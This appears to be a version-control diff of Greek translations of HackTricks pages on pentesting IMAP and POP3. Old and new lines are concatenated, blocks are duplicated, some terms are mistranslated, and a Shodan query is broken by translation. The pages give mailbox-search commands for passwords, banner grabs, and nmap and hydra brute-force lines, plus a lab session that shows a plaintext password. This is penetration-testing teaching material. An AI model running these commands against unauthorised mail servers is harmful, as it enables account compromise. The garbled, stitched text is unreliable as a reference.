## Σύνταξη ## Σύνταξη
Παραδείγματα εντολών IMAP από [εδώ](https://donsutherland.org/crib/imap):
Παραδείγματα εντολών IAMP από [εδώ](https://donsutherland.org/crib/imap):
``` ```
Login Login
A1 LOGIN username password A1 LOGIN username password
@ -111,14 +96,6 @@ Logout
A1 LOGOUT A1 LOGOUT
``` ```
### Εξέλιξη ### Εξέλιξη
IMAP (Internet Message Access Protocol) είναι ένα πρωτόκολλο που χρησιμοποιείται για την ανάκτηση και διαχείριση ηλεκτρονικών μηνυμάτων από έναν απομακρυσμένο διακομιστή. Αρχικά, το IMAP δημιουργήθηκε το 1986 και η τελευταία έκδοση του πρωτοκόλλου είναι το IMAPv4, το οποίο κυκλοφόρησε το 2003.
Το IMAP παρέχει πολλά πλεονεκτήματα σε σχέση με άλλα πρωτόκολλα ανάκτησης μηνυμάτων, όπως το POP3. Ένα από τα κύρια πλεονεκτήματα είναι η δυνατότητα να διατηρείτε τα μηνύματά σας στον απομακρυσμένο διακομιστή, επιτρέποντάς σας να αποκτήσετε πρόσβαση σε αυτά από πολλές συσκευές. Επίσης, μπορείτε να διαχειριστείτε τα μηνύματά σας στον απομακρυσμένο διακομιστή, όπως να δημιουργήσετε φακέλους, να μετακινήσετε μηνύματα και να διαγράψετε μηνύματα.
Ωστόσο, το IMAP έχει επίσης ορισμένες αδυναμίες που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι. Οι επιθέσεις στο IMAP μπορούν να περιλαμβάνουν την απόκτηση πρόσβασης σε μη εξουσιοδοτημένα μηνύματα, την υποκλοπή διαπραγματεύσεων και την κατάχρηση ευπαθειών στο λογισμικό του διακομιστή IMAP.
Για να προστατευτείτε από επιθέσεις στο IMAP, μπορείτε να λάβετε μέτρα ασφαλείας, όπως τη χρήση ασφαλούς σύνδεσης (SSL/TLS), την εφαρμογή πολύπλοκων κωδικών πρόσβασης και την ενημέρωση του λογισμικού του διακομιστή IMAP για να διορθωθούν γνωστές ευπάθειες.
``` ```
apt install evolution apt install evolution
``` ```
@ -126,107 +103,62 @@ apt install evolution
### CURL ### CURL
Βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά η τεκμηρίωση είναι ελλιπής σε λεπτομέρειες, οπότε συνιστάται ο έλεγχος του [πηγαίου κώδικα](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς πληροφορίες. Η βασική πλοήγηση είναι δυνατή με το [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), αλλά το documentation είναι φωτεινό σε λεπτομέρειες, οπότε συνιστάται η έλεγχος της [πηγής](https://github.com/curl/curl/blob/master/lib/imap.c) για ακριβείς λεπτομέρειες.
1. Λίστα με τα εισερχόμενα (εντολή imap `LIST "" "*"`) 1. Λίστα με τα mailboxes (imap εντολή `LIST "" "*")
```bash ```bash
curl -k 'imaps://1.2.3.4/' --user user:pass curl -k 'imaps://1.2.3.4/' --user user:pass
``` ```
2. Λίστα μηνυμάτων σε ένα φάκελο (εντολή imap `SELECT INBOX` και στη συνέχεια `SEARCH ALL`) 2. Εμφάνιση μηνυμάτων σε ένα ταχυδρομικό κουτί (εντολή imap `SELECT INBOX` και στη συνέχεια `SEARCH ALL`)
```bash ```bash
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
``` ```
Το αποτέλεσμα αυτής της αναζήτησης είναι μια λίστα δεικτών μηνυμάτων.
The result of this search is a list of message indicies. Είναι επίσης δυνατόν να παρέχονται πιο πολύπλοκοι όροι αναζήτησης. π.χ. αναζήτηση για πρόχειρα με κωδικό στο σώμα του email:
Its also possible to provide more complex search terms. e.g. searching for drafts with password in mail body:
```bash
```bash ```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
``` ```
Μια ωραία επισκόπηση των όρων αναζήτησης που είναι δυνατοί βρίσκεται [εδώ](https://www.atmail.com/blog/imap-commands/).
Μεταφορτώστε τη σελίδα `Drafts` από τον διακομιστή `1.2.3.4` μέσω του πρωτοκόλλου `imaps`, χρησιμοποιώντας το κείμενο `password` ως παράμετρο. Χρησιμοποιήστε τα διαπιστευτήρια `user:pass` για την αυθεντικοποίηση. 3. Λήψη ενός μηνύματος (εντολή imap `SELECT Drafts` και στη συνέχεια `FETCH 1 BODY[]`)
```
A nice overview of the search terms possible is located [here](https://www.atmail.com/blog/imap-commands/).
3. Downloading a message (imap command `SELECT Drafts` and then `FETCH 1 BODY[]`)
```bash
```bash ```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
``` ```
Το δείκτης των μηνυμάτων θα είναι ο ίδιος δείκτης που επιστρέφεται από τη λειτουργία αναζήτησης.
Μεταφορτώστε τη σελίδα `Drafts` από τον IMAP διακομιστή στη διεύθυνση IP `1.2.3.4`, χρησιμοποιώντας το πρωτόκολλο `imaps`. Χρησιμοποιήστε τα διαπιστευτήρια `user:pass` για πιστοποίηση. Είναι επίσης δυνατόν να χρησιμοποιηθεί το `UID` (μοναδικό αναγνωριστικό) για την πρόσβαση σε μηνύματα, ωστόσο είναι λιγότερο βολικό καθώς η εντολή αναζήτησης πρέπει να μορφοποιηθεί χειροκίνητα. Π.χ.
```
The mail index will be the same index returned from the search operation.
It is also possible to use `UID` (unique id) to access messages, however it is less conveniant as the search command needs to be manually formatted. E.g.
```bash
```bash ```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
Επίσης, είναι δυνατόν να κατεβάσετε μόνο μέρη ενός μηνύματος, π.χ. το θέμα και ο αποστολέας των πρώτων 5 μηνυμάτων (το `-v` απαιτείται για να δείτε το θέμα και τον αποστολέα):
Μετάφραση:
```bash
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
```
Also, possible to download just parts of a message, e.g. subject and sender of first 5 messages (the `-v` is required to see the subject and sender):
```bash
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
Παρόλα αυτά, είναι πιθανόν πιο καθαρό να γράψετε απλά ένα μικρό for loop:
Μετάφραση:
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
```
Although, its probably cleaner to just write a little for loop:
```bash
```bash ```bash
for m in {1..5}; do for m in {1..5}; do
echo $m echo $m
curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass curl "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
done done
``` ```
Για m στο διάστημα από 1 έως 5, κάνε
εκτύπωσε το m
κάνε αίτηση curl στο "imap://1.2.3.4/INBOX;MAILINDEX=$m;SECTION=HEADER.FIELDS%20(SUBJECT%20FROM)" --user user:pass
τέλος
```
## Shodan ## Shodan
* `port:143 CAPABILITY` * `port:143 ΙΚΑΝΟΤΗΤΑ`
* `port:993 CAPABILITY` * `port:993 ΙΚΑΝΟΤΗΤΑ`
## HackTricks Automatic Commands
## HackTricks Αυτόματες Εντολές
``` ```
Protocol_Name: IMAP #Συντόμευση του πρωτοκόλλου αν υπάρχει. Protocol_Name: IMAP #Protocol Abbreviation if there is one.
Port_Number: 143,993 #Διαχωρισμένα με κόμμα αν υπάρχουν περισσότερα από ένα. Port_Number: 143,993 #Comma separated if there is more than one.
Protocol_Description: Internet Message Access Protocol #Πλήρης εκδοχή της συντόμευσης του πρωτοκόλλου Protocol_Description: Internet Message Access Protocol #Protocol Abbreviation Spelled out
Entry_1: Entry_1:
Name: Σημειώσεις Name: Notes
Description: Σημειώσεις για το WHOIS Description: Notes for WHOIS
Note: | Note: |
Το Internet Message Access Protocol (IMAP) σχεδιάστηκε με σκοπό να επιτρέπει στους χρήστες να έχουν πρόσβαση στα email τους από οποιαδήποτε τοποθεσία, κυρίως μέσω σύνδεσης στο διαδίκτυο. Στην ουσία, τα email παραμένουν αποθηκευμένα σε έναν διακομιστή αντί να γίνεται η λήψη και αποθήκευσή τους στην προσωπική συσκευή του ατόμου. Αυτό σημαίνει ότι όταν ένα email ανοίγει ή διαβάζεται, γίνεται απευθείας από τον διακομιστή. Αυτή η δυνατότητα επιτρέπει την ευκολία του να ελέγχετε τα email από πολλές συσκευές, εξασφαλίζοντας ότι δεν θα χαθεί κανένα μήνυμα ανεξάρτητα από τη συσκευή που χρησιμοποιείται. The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
https://book.hacktricks.xyz/pentesting/pentesting-imap https://book.hacktricks.xyz/pentesting/pentesting-imap
@ -236,34 +168,26 @@ Description: Banner Grab 143
Command: nc -nv {IP} 143 Command: nc -nv {IP} 143
Entry_3: Entry_3:
Name: Ασφαλής Banner Grab Name: Secure Banner Grab
Description: Banner Grab 993 Description: Banner Grab 993
Command: openssl s_client -connect {IP}:993 -quiet Command: openssl s_client -connect {IP}:993 -quiet
Entry_4: Entry_4:
Name: Απαρίθμηση mfs χωρίς την ανάγκη εκτέλεσης του msfconsole Name: consolesless mfs enumeration
Description: Απαρίθμηση IMAP χωρίς την ανάγκη εκτέλεσης του msfconsole Description: IMAP enumeration without the need to run msfconsole
Note: πηγή από https://github.com/carlospolop/legion Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit' Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -1,41 +1,29 @@
# 110,995 - Ελεγκτική δοκιμή POP # 110,995 - Ελέγχος Εισβολής στο POP
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Βασικές Πληροφορίες
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Το **Post Office Protocol (POP)** περιγράφεται ως ένα πρωτόκολλο εντός του χώρου του δικτύου υπολογιστών και του Internet, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση email από έναν απομακρυσμένο διακομιστή email**, καθιστώντας το προσβάσιμο στην τοπική συσκευή. Τοποθετημένο στο επίπεδο εφαρμογής του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν email. Η λειτουργία των **πελατών POP** συνήθως περιλαμβάνει την καθιέρωση μιας σύνδεσης με τον διακομιστή email, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Παρόλο που υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, το **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Βασικές πληροφορίες
Το **Post Office Protocol (POP)** περιγράφεται ως ένα πρωτόκολλο εντός του πεδίου των υπολογιστικών δικτύων και του Διαδικτύου, το οποίο χρησιμοποιείται για την εξαγωγή και **ανάκτηση ηλεκτρονικού ταχυδρομείου από έναν απομακρυσμένο διακομιστή ταχυδρομείου**, καθιστώντας το προσβάσιμο στην τοπική συσκευή. Τοποθετημένο στο επίπεδο εφαρμογής του μοντέλου OSI, αυτό το πρωτόκολλο επιτρέπει στους χρήστες να ανακτούν και να λαμβάνουν ηλεκτρονικό ταχυδρομείο. Η λειτουργία των **πελατών POP** συνήθως περιλαμβάνει την εγκαθίδρυση μιας σύνδεσης με τον διακομιστή ταχυδρομείου, τη λήψη όλων των μηνυμάτων, την αποθήκευση αυτών των μηνυμάτων τοπικά στο σύστημα του πελάτη και στη συνέχεια την αφαίρεσή τους από τον διακομιστή. Παρόλο που υπάρχουν τρεις εκδόσεις αυτού του πρωτοκόλλου, το **POP3** ξεχωρίζει ως η πιο διαδεδομένη έκδοση.
**Προεπιλεγμένες θύρες:** 110, 995(ssl) **Προεπιλεγμένες θύρες:** 110, 995(ssl)
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
``` ```
### Ανάγνωση Μπάνερ ## Απαρίθμηση
Η ανάγνωση μπάνερ είναι μια τεχνική που χρησιμοποιείται για να ανακτήσει πληροφορίες σχετικά με έναν προορισμό που εκτελεί ένα πρωτόκολλο POP (Post Office Protocol). Αυτή η τεχνική επιτρέπει στον επιτιθέμενο να ανακτήσει πληροφορίες όπως η έκδοση του πρωτοκόλλου POP, το λειτουργικό σύστημα που χρησιμοποιείται και άλλες πληροφορίες που μπορούν να χρησιμοποιηθούν για περαιτέρω επιθέσεις. ### Ανάκτηση Μπάνερ
Για να πραγματοποιηθεί η ανάγνωση μπάνερ, ο επιτιθέμενος στέλνει ένα αίτημα σύνδεσης στον προορισμό και αναμένει να λάβει μια απάντηση. Η απάντηση περιέχει το μπάνερ, που είναι μια συμβολοσειρά που περιέχει πληροφορίες για τον προορισμό. Ο επιτιθέμενος μπορεί να αναλύσει το μπάνερ για να ανακτήσει τις επιθυμητές πληροφορίες.
Η ανάγνωση μπάνερ μπορεί να γίνει με τη χρήση εργαλείων όπως το Telnet ή το Netcat. Είναι σημαντικό να σημειωθεί ότι η ανάγνωση μπάνερ μπορεί να θεωρηθεί ως επίθεση σε ορισμένες περιπτώσεις, οπότε πρέπει να γίνεται με προσοχή και με την άδεια του νόμιμου ιδιοκτήτη του προορισμού.
```bash ```bash
nc -nv <IP> 110 nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet openssl s_client -connect <IP>:995 -crlf -quiet
@ -44,13 +32,13 @@ openssl s_client -connect <IP>:995 -crlf -quiet
Μπορείτε να χρησιμοποιήσετε την εντολή `CAPA` για να λάβετε τις δυνατότητες του διακομιστή POP3. Μπορείτε να χρησιμοποιήσετε την εντολή `CAPA` για να λάβετε τις δυνατότητες του διακομιστή POP3.
## Αυτοματοποιημένος ## Αυτοματοποιημένο
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
Το πρόσθετο `pop3-ntlm-info` θα επιστρέψει ορισμένα "**ευαίσθητα**" δεδομένα (εκδόσεις Windows). Το πρόσθετο `pop3-ntlm-info` θα επιστρέψει μερικά "**ευαίσθητα**" δεδομένα (εκδόσεις Windows).
### [Βίαιη δοκιμή POP3](../generic-methodologies-and-resources/brute-force.md#pop) ### [Χειρισμός POP3](../generic-methodologies-and-resources/brute-force.md#pop)
## Σύνταξη POP ## Σύνταξη POP
@ -68,41 +56,17 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg TOP msg n Show first n lines of message number msg
CAPA Get capabilities CAPA Get capabilities
``` ```
# POP (Post Office Protocol) ```markdown
## Post Office Protocol (POP)
POP (Post Office Protocol) είναι ένα πρωτόκολλο που χρησιμοποιείται για τη λήψη ηλεκτρονικού ταχυδρομείου από έναν διακομιστή ηλεκτρονικού ταχυδρομείου. Το POP είναι ένα από τα παλαιότερα πρωτόκολλα για την ανάκτηση ηλεκτρονικού ταχυδρομείου και η τρέχουσα έκδοση είναι το POP3. POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials, sniff POP traffic for credentials, or perform a man-in-the-middle attack to intercept POP communications.
```
## Εύρεση POP3 διακομιστή
Για να εκτελέσετε επιτυχώς επίθεση σε έναν POP3 διακομιστή, πρέπει να βρείτε τη διεύθυνση IP του διακομιστή και τον αριθμό θύρας που χρησιμοποιείται για την επικοινωνία με το POP3 πρωτόκολλο. Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το `nmap` για να εντοπίσετε τον διακομιστή POP3.
```markdown ```markdown
Παράδειγμα: ## Πρωτόκολλο Ταχυδρομείου (POP)
Το POP είναι ένα πρωτόκολλο που χρησιμοποιείται από τους πελάτες email για την ανάκτηση email από έναν διακομιστή ταχυδρομείου. Κατά τη διάρκεια μιας δοκιμής διείσδυσης, μπορείτε να προσπαθήσετε να εκτελέσετε μια επίθεση brute force στα διαπιστευτήρια του POP, να καταγράψετε την κίνηση του POP για διαπιστευτήρια ή να εκτελέσετε μια επίθεση man-in-the-middle για να παρεμβάλετε τις επικοινωνίες του POP.
``` ```
```bash
nmap -p 110 --script pop3-brute <target>
```
## Επίθεση με χρήση Hydra
Το Hydra είναι ένα εργαλείο που χρησιμοποιείται για επιθέσεις brute force. Μπορείτε να το χρησιμοποιήσετε για να εκτελέσετε επίθεση brute force σε έναν POP3 διακομιστή.
```markdown
Παράδειγμα:
```
```bash
hydra -L users.txt -P passwords.txt -s 110 -f <target> pop3
```
## Εκμετάλλευση ευπάθειας
Μπορείτε να εκμεταλλευτείτε ευπάθειες στον POP3 διακομιστή για να αποκτήσετε πρόσβαση σε λογαριασμούς ηλεκτρονικού ταχυδρομείου. Μερικές από τις ευπάθειες που μπορείτε να εκμεταλλευτείτε περιλαμβάνουν την εκτέλεση κακόβουλου κώδικα μέσω ενός κακόβουλου ηλεκτρονικού μηνύματος ή την εκμετάλλευση ευπάθειας στο λογισμικό του διακομιστή.
## Ανάκτηση δεδομένων
Μετά την επιτυχή εκτέλεση μιας επίθεσης στον POP3 διακομιστή, μπορείτε να ανακτήσετε δεδομένα από τους λογαριασμούς ηλεκτρονικού ταχυδρομείου. Αυτά τα δεδομένα μπορεί να περιλαμβάνουν ηλεκτρονικά μηνύματα, συνημμένα αρχεία και άλλες πληροφορίες που αποθηκεύονται στον διακομιστή POP3.
``` ```
root@kali:~# telnet $ip 110 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -127,16 +91,16 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean username: billydean
password: PA$$W0RD!Z password: PA$$W0RD!Z
``` ```
## Επικίνδυνες Ρυθμίσεις ## Επικίνδυνες ρυθμίσεις
Από [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) Από [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Ρύθμιση** | **Περιγραφή** | | **Ρύθμιση** | **Περιγραφή** |
| ------------------------- | ----------------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Ενεργοποιεί όλα τα αναλυτικά αρχεία καταγραφής που αφορούν την πιστοποίηση. | | `auth_debug` | Ενεργοποιεί όλη την αποσφαλμάτωση πιστοποίησης. |
| `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την αναλυτικότητα των αρχείων καταγραφής, καταγράφοντας τους κωδικούς πρόσβασης και το σχήμα. | | `auth_debug_passwords` | Αυτή η ρύθμιση προσαρμόζει την καταγραφή αποσφαλμάτωσης, καταγράφονται οι υποβληθέντες κωδικοί και το σχήμα. |
| `auth_verbose` | Καταγράφει τις αποτυχημένες προσπάθειες πιστοποίησης και τους λόγους τους. | | `auth_verbose` | Καταγράφονται οι αποτυχημένες προσπάθειες πιστοποίησης και οι λόγοι τους. |
| `auth_verbose_passwords` | Οι κωδικοί πρόσβασης που χρησιμοποιούνται για την πιστοποίηση καταγράφονται και μπορεί να γίνει και περικοπή. | | `auth_verbose_passwords` | Οι κωδικοί που χρησιμοποιούνται για την πιστοποίηση καταγράφονται και μπορεί επίσης να περικοπούν. |
| `auth_anonymous_username` | Αυτό καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την σύνδεση με τον μηχανισμό ANONYMOUS SASL. | | `auth_anonymous_username` | Αυτό καθορίζει το όνομα χρήστη που θα χρησιμοποιηθεί κατά την σύνδεση με τον μηχανισμό ANONYMOUS SASL. |
## Αυτόματες Εντολές HackTricks ## Αυτόματες Εντολές HackTricks
@ -182,18 +146,16 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. <img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία ώστε να μπορείτε να τις διορθώσετε γρηγορότερα. Το Intruder παρακολουθεί την επιφάνεια επίθεσής σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρη την τεχνική σας στοίβα, από APIs έως web εφαρμογές και συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
